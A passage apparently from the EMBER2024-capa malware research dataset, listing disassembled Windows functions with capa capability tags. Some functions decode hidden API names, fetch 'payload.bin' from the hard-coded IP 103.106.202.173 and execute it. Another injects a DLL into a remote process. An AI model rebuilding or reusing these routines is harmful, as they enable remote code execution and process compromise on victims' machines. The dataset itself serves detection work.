joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403eb0
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 8], r12
mov qword [rax - 0x10], r13
mov r13, rcx
mov edi, r8d
mov r12, rdx
call fcn.00402af0
xor ebx, ebx
cmp qword [0x0040dd70], rbx
mov rsi, rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], ebx
jne 0x403fe1
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbp, rax
jne 0x403f13
xor eax, eax
jmp 0x4040c1
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x403f0c
mov rcx, rax
call fcn.00402a80
lea rdx, str.GetActiveWindow
mov rcx, rbp
mov qword [0x0040dd70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00402a80
lea rdx, str.GetLastActivePopup
mov rcx, rbp
mov qword [0x0040dd78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00402a80
lea rcx, [rsp + 0x30]
mov qword [0x0040dd80], rax
call fcn.00401530
test eax, eax
je 0x403f97
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.00403470
cmp dword [rsp + 0x30], 2
jne 0x403fe1
lea rdx, str.GetUserObjectInformationA
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00402a80
test rax, rax
mov qword [0x0040dd90], rax
je 0x403fe1
lea rdx, str.GetProcessWindowStation
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00402a80
mov qword [0x0040dd88], rax
mov rcx, qword [0x0040dd88]
cmp rcx, rsi
je 0x404073
cmp qword [0x0040dd90], rsi
je 0x404073
call fcn.00402b50
call rax
test rax, rax
mov rbp, rax
je 0x40403e
mov rcx, qword [0x0040dd90]
call fcn.00402b50
lea rcx, [rsp + 0x38]
mov r9d, 0xc
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x40]
mov rcx, rbp
call rax
test eax, eax
je 0x40403e
test byte [rsp + 0x48], 1
jne 0x404073
lea rcx, [rsp + 0x34]
call fcn.00401580
test eax, eax
je 0x404060
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.00403470
cmp dword [rsp + 0x34], 4
jb 0x40406d
bts edi, 0x15
jmp 0x4040a7
bts edi, 0x12
jmp 0x4040a7
mov rcx, qword [0x0040dd78]
cmp rcx, rsi
je 0x4040a7
call fcn.00402b50
call rax
test rax, rax
mov rbx, rax
je 0x4040a7
mov rcx, qword [0x0040dd80]
cmp rcx, rsi
je 0x4040a7
call fcn.00402b50
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x0040dd70]
call fcn.00402b50
mov r9d, edi
mov r8, r12
mov rdx, r13
mov rcx, rbx
call rax
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x68
ret
Function at 0x407cc0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x0040c008]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rbx, rcx
xor ecx, ecx
mov byte [rsp + 0x20], 1
mov byte [rsp + 0x21], 0x2e
mov byte [rsp + 0x22], 3
mov byte [rsp + 0x23], 0x24
lea r9d, [rcx + 0x16]
mov byte [rsp + 0x24], 0x41
mov byte [rsp + 0x25], 0x39
mov byte [rsp + 0x26], 0x1e
mov byte [rsp + 0x27], 0x1d
mov byte [rsp + 0x28], 0xb
mov byte [rsp + 0x29], 0x2d
mov byte [rsp + 0x2a], 0x33
mov byte [rsp + 0x2b], 0x2e
mov byte [rsp + 0x2c], 0x1b
mov byte [rsp + 0x2d], 9
mov byte [rsp + 0x2e], 0x67
mov byte [rsp + 0x2f], 0x28
mov byte [rsp + 0x30], 0x1d
mov byte [rsp + 0x31], 0x3f
mov byte [rsp + 0x32], 1
mov byte [rsp + 0x33], 0x20
mov byte [rsp + 0x34], 0x25
mov byte [rsp + 0x35], 0x22
mov byte [rsp + 0x36], 0
mov word [rsp + 0x38], 0x56
mov word [rsp + 0x3a], 0x47
mov word [rsp + 0x3c], 0x6d
mov word [rsp + 0x3e], 0x6c
mov word [rsp + 0x40], 0x35
mov word [rsp + 0x42], 0x4d
mov word [rsp + 0x44], 0x6e
mov word [rsp + 0x46], 0x4f
mov word [rsp + 0x48], 0x6e
mov word [rsp + 0x4a], 0x4e
mov word [rsp + 0x4c], 0
mov rdx, rcx
lea r8, [rsp + 0x20]
nop
nop
nop
cmp word [rsp + rdx*2 + 0x38], cx
cmove rdx, rcx
add r8, 1
movzx eax, byte [rsp + rdx*2 + 0x38]
add rdx, 1
xor byte [r8 - 1], al
sub r9, 1
jne 0x407db0
mov rcx, qword [0x0040dec8]
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov rcx, rbx
call rax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.00401010
add rsp, 0x60
pop rbx
ret
Function at 0x407e10
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov r11, rsp
sub rsp, 0x88
mov rax, qword [0x0040c008]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rdi
xor edi, edi
mov rbx, rcx
mov byte [rsp + 0x40], 0x22
mov byte [rsp + 0x41], 4
lea r9d, [rdi + 0x12]
mov byte [rsp + 0x42], 1
mov byte [rsp + 0x43], 0x18
mov byte [rsp + 0x44], 0x25
mov byte [rsp + 0x45], 0x3b
mov byte [rsp + 0x46], 5
mov byte [rsp + 0x47], 0x3b
mov byte [rsp + 0x48], 0x1d
mov byte [rsp + 0x49], 0xa
mov byte [rsp + 0x4a], 0x11
mov byte [rsp + 0x4b], 0x3f
mov byte [rsp + 0x4c], 0xa
mov byte [rsp + 0x4d], 0x21
mov byte [rsp + 0x4e], 0x24
mov byte [rsp + 0x4f], 0x2a
mov byte [rsp + 0x50], 6
mov byte [rsp + 0x51], 0x1c
mov byte [rsp + 0x52], 0
mov word [rsp + 0x58], 0x75
mov word [rsp + 0x5a], 0x6d
mov word [rsp + 0x5c], 0x6f
mov word [rsp + 0x5e], 0x50
mov word [rsp + 0x60], 0x51
mov word [rsp + 0x62], 0x4f
mov word [rsp + 0x64], 0x75
mov word [rsp + 0x66], 0x68
mov word [rsp + 0x68], 0x78
mov word [rsp + 0x6a], 0x64
mov word [rsp + 0x6c], 0
mov rdx, rdi
lea r8, [r11 - 0x48]
nop
cmp word [rsp + rdx*2 + 0x58], di
cmove rdx, rdi
add r8, 1
movzx eax, byte [rsp + rdx*2 + 0x58]
add rdx, 1
xor byte [r8 - 1], al
sub r9, 1
jne 0x407ef0
mov rcx, qword [0x0040dec8]
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call rax
mov rdi, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.00401010
add rsp, 0x88
ret
Function at 0x407f70
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov r11, rsp
sub rsp, 0x88
mov rax, qword [0x0040c008]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rdi
xor edi, edi
mov rbx, rcx
mov byte [rsp + 0x40], 0x32
mov byte [rsp + 0x41], 4
lea r9d, [rdi + 0x12]
mov byte [rsp + 0x42], 0x23
mov byte [rsp + 0x43], 4
mov byte [rsp + 0x44], 0x1c
mov byte [rsp + 0x45], 6
mov byte [rsp + 0x46], 0x40
mov byte [rsp + 0x47], 0x20
mov byte [rsp + 0x48], 0x47
mov byte [rsp + 0x49], 0x34
mov byte [rsp + 0x4a], 0xb
mov byte [rsp + 0x4b], 0x3f
mov byte [rsp + 0x4c], 0x28
mov byte [rsp + 0x4d], 0x3d
mov byte [rsp + 0x4e], 0x1d
mov byte [rsp + 0x4f], 0x17
mov byte [rsp + 0x50], 0x43
mov byte [rsp + 0x51], 0x1b
mov byte [rsp + 0x52], 0
mov word [rsp + 0x60], 0x65
mov word [rsp + 0x62], 0x6d
mov word [rsp + 0x64], 0x4d
mov word [rsp + 0x66], 0x4c
mov word [rsp + 0x68], 0x68
mov word [rsp + 0x6a], 0x72
mov word [rsp + 0x6c], 0x30
mov word [rsp + 0x6e], 0x6f
mov word [rsp + 0x70], 0x37
mov word [rsp + 0x72], 0x51
mov word [rsp + 0x74], 0
mov word [rsp + 0x58], 0x47
mov word [rsp + 0x5a], 0x45
mov word [rsp + 0x5c], 0x54
mov word [rsp + 0x5e], 0
mov rdx, rdi
lea r8, [r11 - 0x48]
nop
nop
cmp word [rsp + rdx*2 + 0x60], di
cmove rdx, rdi
add r8, 1
movzx eax, byte [rsp + rdx*2 + 0x60]
add rdx, 1
xor byte [r8 - 1], al
sub r9, 1
jne 0x408070
mov rcx, qword [0x0040dec8]
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x30], edi
lea r8, str.payload.bin
lea rdx, [rsp + 0x58]
xor r9d, r9d
mov rcx, rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call rax
mov rdi, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.00401010
add rsp, 0x88
ret
Function at 0x4080f0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x0040c008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbx, rcx
xor ecx, ecx
mov byte [rsp + 0x20], 0x3e
mov byte [rsp + 0x21], 0x23
mov byte [rsp + 0x22], 0x29
mov byte [rsp + 0x23], 0x2f
lea r9d, [rcx + 0xe]
mov byte [rsp + 0x24], 0x45
mov byte [rsp + 0x25], 4
mov byte [rsp + 0x26], 0
mov byte [rsp + 0x27], 1
mov byte [rsp + 0x28], 0x35
mov byte [rsp + 0x29], 8
mov byte [rsp + 0x2a], 7
mov byte [rsp + 0x2b], 0x2f
mov byte [rsp + 0x2c], 0x24
mov byte [rsp + 0x2d], 0x13
mov byte [rsp + 0x2e], 0
mov word [rsp + 0x30], 0x69
mov word [rsp + 0x32], 0x4a
mov word [rsp + 0x34], 0x47
mov word [rsp + 0x36], 0x67
mov word [rsp + 0x38], 0x31
mov word [rsp + 0x3a], 0x70
mov word [rsp + 0x3c], 0x70
mov word [rsp + 0x3e], 0x42
mov word [rsp + 0x40], 0x5a
mov word [rsp + 0x42], 0x66
mov word [rsp + 0x44], 0
mov rdx, rcx
lea r8, [rsp + 0x20]
nop
cmp word [rsp + rdx*2 + 0x30], cx
cmove rdx, rcx
add r8, 1
movzx eax, byte [rsp + rdx*2 + 0x30]
add rdx, 1
xor byte [r8 - 1], al
sub r9, 1
jne 0x4081b0
mov rcx, qword [0x0040dec8]
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.103.106.202.173
xor r9d, r9d
mov r8w, 0x118
mov rcx, rbx
call rax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.00401010
add rsp, 0x50
pop rbx
ret

Function at 0x408210
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x0040c008]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor ebx, ebx
mov byte [rsp + 0x30], 0x1f
mov byte [rsp + 0x31], 5
mov byte [rsp + 0x32], 7
mov byte [rsp + 0x33], 6
mov byte [rsp + 0x34], 0x3c
lea r8d, [rbx + 0xb]
mov byte [rsp + 0x35], 0x35
mov byte [rsp + 0x36], 0x24
mov byte [rsp + 0x37], 0x3f
mov byte [rsp + 0x38], 0x49
mov byte [rsp + 0x39], 6
mov byte [rsp + 0x3a], 0x26
mov byte [rsp + 0x3b], 0
mov word [rsp + 0x40], 0x48
mov word [rsp + 0x42], 0x6c
mov word [rsp + 0x44], 0x69
mov word [rsp + 0x46], 0x4e
mov word [rsp + 0x48], 0x48
mov word [rsp + 0x4a], 0x41
mov word [rsp + 0x4c], 0x54
mov word [rsp + 0x4e], 0x70
mov word [rsp + 0x50], 0x39
mov word [rsp + 0x52], 0x63
mov word [rsp + 0x54], 0
mov word [rsp + 0x58], 0x54
mov word [rsp + 0x5a], 0x65
mov word [rsp + 0x5c], 0x6e
mov word [rsp + 0x5e], 0x63
mov word [rsp + 0x60], 0x65
mov word [rsp + 0x62], 0x6e
mov word [rsp + 0x64], 0x74
mov word [rsp + 0x66], 0
mov rcx, rbx
lea rdx, [rsp + 0x30]
nop
nop
nop
cmp word [rsp + rcx*2 + 0x40], bx
cmove rcx, rbx
add rdx, 1
movzx eax, byte [rsp + rcx*2 + 0x40]
add rcx, 1
xor byte [rdx - 1], al
sub r8, 1
jne 0x408300
mov rcx, qword [0x0040dec8]
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], ebx
call rax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.00401010
add rsp, 0x70
pop rbx
ret
Function at 0x408360
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov r11, rsp
sub rsp, 0x3c8
mov rax, qword [0x0040c008]
xor rax, rsp
mov qword [rsp + 0x380], rax
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rbp
mov qword [r11 - 8], rsi
mov qword [r11 - 0x10], rdi
mov qword [r11 - 0x18], r12
xor eax, eax
mov qword [r11 - 0x20], r13
mov qword [r11 - 0x28], r14
xor r12d, r12d
mov qword [r11 - 0x30], r15
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], r12
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rcx, [rsp + 0x40]
mov word [rsp + 0x40], 0x57
mov word [rsp + 0x42], 0x69
mov word [rsp + 0x44], 0x6e
mov word [rsp + 0x46], 0x68
mov word [rsp + 0x48], 0x74
mov word [rsp + 0x4a], 0x74
mov word [rsp + 0x4c], 0x70
mov word [rsp + 0x4e], 0x2e
mov word [rsp + 0x50], 0x64
mov word [rsp + 0x52], 0x6c
mov word [rsp + 0x54], 0x6c
mov word [rsp + 0x56], r12w
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
mov qword [0x0040dec8], rax
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov rbx, rax
call fcn.00408210
lea rdx, str.103.106.202.173
mov rcx, rax
mov r8d, 0x118
mov r14, rax
call fcn.004080f0
lea rdx, str.payload.bin
mov rcx, rax
mov r15, rax
call fcn.00407f70
mov rcx, rax
mov rsi, rax
call fcn.00407e10
mov rcx, rsi
call fcn.00407cc0
lea rcx, [rsp + 0x28]
call fcn.00407960
lea edx, [r12 + 8]
mov r8d, 0x1000
mov rcx, rbx
mov edi, r12d
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, qword [rsp + 0x28]
lea rdx, [rsp + 0x20]
mov rcx, rsi
mov rbp, rax
mov dword [rsp + 0x20], r12d
call r13
cmp dword [rsp + 0x20], r12d
je 0x40851f
mov r12, qword [rsp + 0x30]
nop
nop
nop
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x31f
mov byte [rsp + 0x60], 0
call fcn.00405930
lea r9, [rsp + 0x20]
lea rdx, [rsp + 0x60]
mov r8d, 0x320
mov rcx, rsi
call r12
mov ebx, dword [rsp + 0x20]
mov ecx, edi
lea rdx, [rsp + 0x60]
add rcx, rbp
mov r8, rbx
call fcn.00405200
lea rdx, [rsp + 0x20]
mov rcx, rsi
add edi, ebx
mov dword [rsp + 0x20], 0
call r13
cmp dword [rsp + 0x20], 0
jne 0x4084c0
mov rbx, qword [rsp + 0x38]
mov rcx, rsi
call rbx
mov rcx, r15
call rbx
mov rcx, r14
call rbx
call rbp
mov r15, qword [rsp + 0x398]
mov r14, qword [rsp + 0x3a0]
mov r13, qword [rsp + 0x3a8]
mov r12, qword [rsp + 0x3b0]
mov rdi, qword [rsp + 0x3b8]
mov rsi, qword [rsp + 0x3c0]
mov rbp, qword [rsp + 0x3e8]
mov rbx, qword [rsp + 0x3e0]
xor eax, eax
mov rcx, qword [rsp + 0x380]
xor rcx, rsp
call fcn.00401010
add rsp, 0x3c8
ret
Function at 0x401a80
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00402c00
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.00402c00
mov rdx, rbx
mov r8, rsi
mov rcx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x401af0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x00408644]
mov rsi, rcx
mov rbp, rdx
mov rbx, r8
test edi, edi
jle 0x401c90
mov rax, qword [0x00408648]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rsi, rdx
jb 0x401b3c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rsi, rdx
jb 0x401bc9
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x401b20
mov rcx, rsi
call fcn.00402830
mov r12, rax
test rax, rax
je 0x401cc5
mov rax, qword [0x00408648]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.00402970
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408648]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401cd4
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401bc2
sub eax, 0x40
and eax, 0xffffffbf
jne 0x401c42
add dword [0x00408644], 1
cmp ebx, 8
jae 0x401bf5
test bl, 4
jne 0x401ca0
test ebx, ebx
je 0x401bea
movzx eax, byte [rbp]
mov byte [rsi], al
test bl, 2
jne 0x401cb4
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rbp]
lea rcx, [rsi + 8]
and rcx, 0xfffffffffffffff8
mov qword [rsi], rax
mov eax, ebx
mov rdx, qword [rbp + rax - 8]
mov qword [rsi + rax - 8], rdx
sub rsi, rcx
add ebx, esi
sub rbp, rsi
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x401bea
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rbp + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x401c25
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x00408648]
mov r9, rdi
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401bc2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401a80
nop word cs:[rax + rax]
xor edi, edi
jmp 0x401b47
mov eax, dword [rbp]
mov ebx, ebx
mov dword [rsi], eax
mov eax, dword [rbp + rbx - 4]
mov dword [rsi + rbx - 4], eax
jmp 0x401bea
mov ebx, ebx
movzx eax, word [rbp + rbx - 2]
mov word [rsi + rbx - 2], ax
jmp 0x401bea
mov rdx, rsi
lea rcx, str.Address__p_has_no_image_section
call fcn.00401a80
mov rax, qword [0x00408648]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.00401a80
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x402480
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408920]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00408900]
test rbx, rbx
je 0x4024d4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4024cb
test rsi, rsi
je 0x4024cb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4024b0
lea rcx, [0x00408920]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402830
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00405360]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x40289f
mov rcx, r9
call fcn.00402700
test eax, eax
je 0x40289f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x40289d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x402894
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x40289f
add rdx, 0x28
cmp rdx, r9
jne 0x402880
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x14000a570
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14000a57d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14000a58d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14000a575
lea eax, [rcx + 1]
jmp 0x14000a59b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14000a5ae
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14000a594
sub eax, 3
jb 0x14000a5cc
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14000a604
sar eax, 1
movsxd rbp, eax
jmp 0x14000a5cf
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x14000a5f0
inc ecx
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14000a5eb
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14000a5da
add ecx, 2
cmp rbp, 0xfffffffffffffb00
adc ecx, 1
call fcn.14000a532
jmp 0x14000a57d
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x8000]
mov eax, dword [rdi]
or eax, eax
je 0x14000a660
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xa2fc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14000a610
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14000a65a
mov qword [rbx], rax
add rbx, 8
jmp 0x14000a630
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14000a69a
cmp al, 0xef
ja 0x14000a68c
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14000a66c
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14000a67b
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14000a6ee
sub rsp, 0xffffffffffffff80
jmp 0x140001668
Function at 0x14000d080
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r12
push r14
push r15
sub rsp, 0x60
mov r15, rdx
mov r12d, ecx
test rdx, rdx
jne 0x14000d0ab
xor eax, eax
jmp 0x14000d203
mov rcx, r15
call fcn.14000d000
test eax, eax
je 0x14000d0a4
xor edi, edi
mov qword [rsp + 0x40], rdi
mov esi, edi
mov qword [rsp + 0x50], rdi
mov r14d, edi
mov qword [rsp + 0x48], rdi
mov r8d, r12d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x14000d116
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x14000d116
mov r8d, r12d
xor edx, edx
mov ecx, 0x42a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14000d1cb
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
add eax, eax
movsxd r12, eax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, r12
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x14000d1cb
mov qword [rsp + 0x20], rdi
mov r9, r12
mov r8, r15
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000d1cb
lea rcx, str.Kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.LoadLibraryW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000d1cb
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r14
mov r9, rax
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14000d1cb
mov edx, 0x2710
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, 1
test r14, r14
je 0x14000d1e5
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test rsi, rsi
je 0x14000d1f3
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x14000d201
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x140013148
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140012f1c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140012f1c
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140012f1c
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140012f1c
mov eax, 0x20b
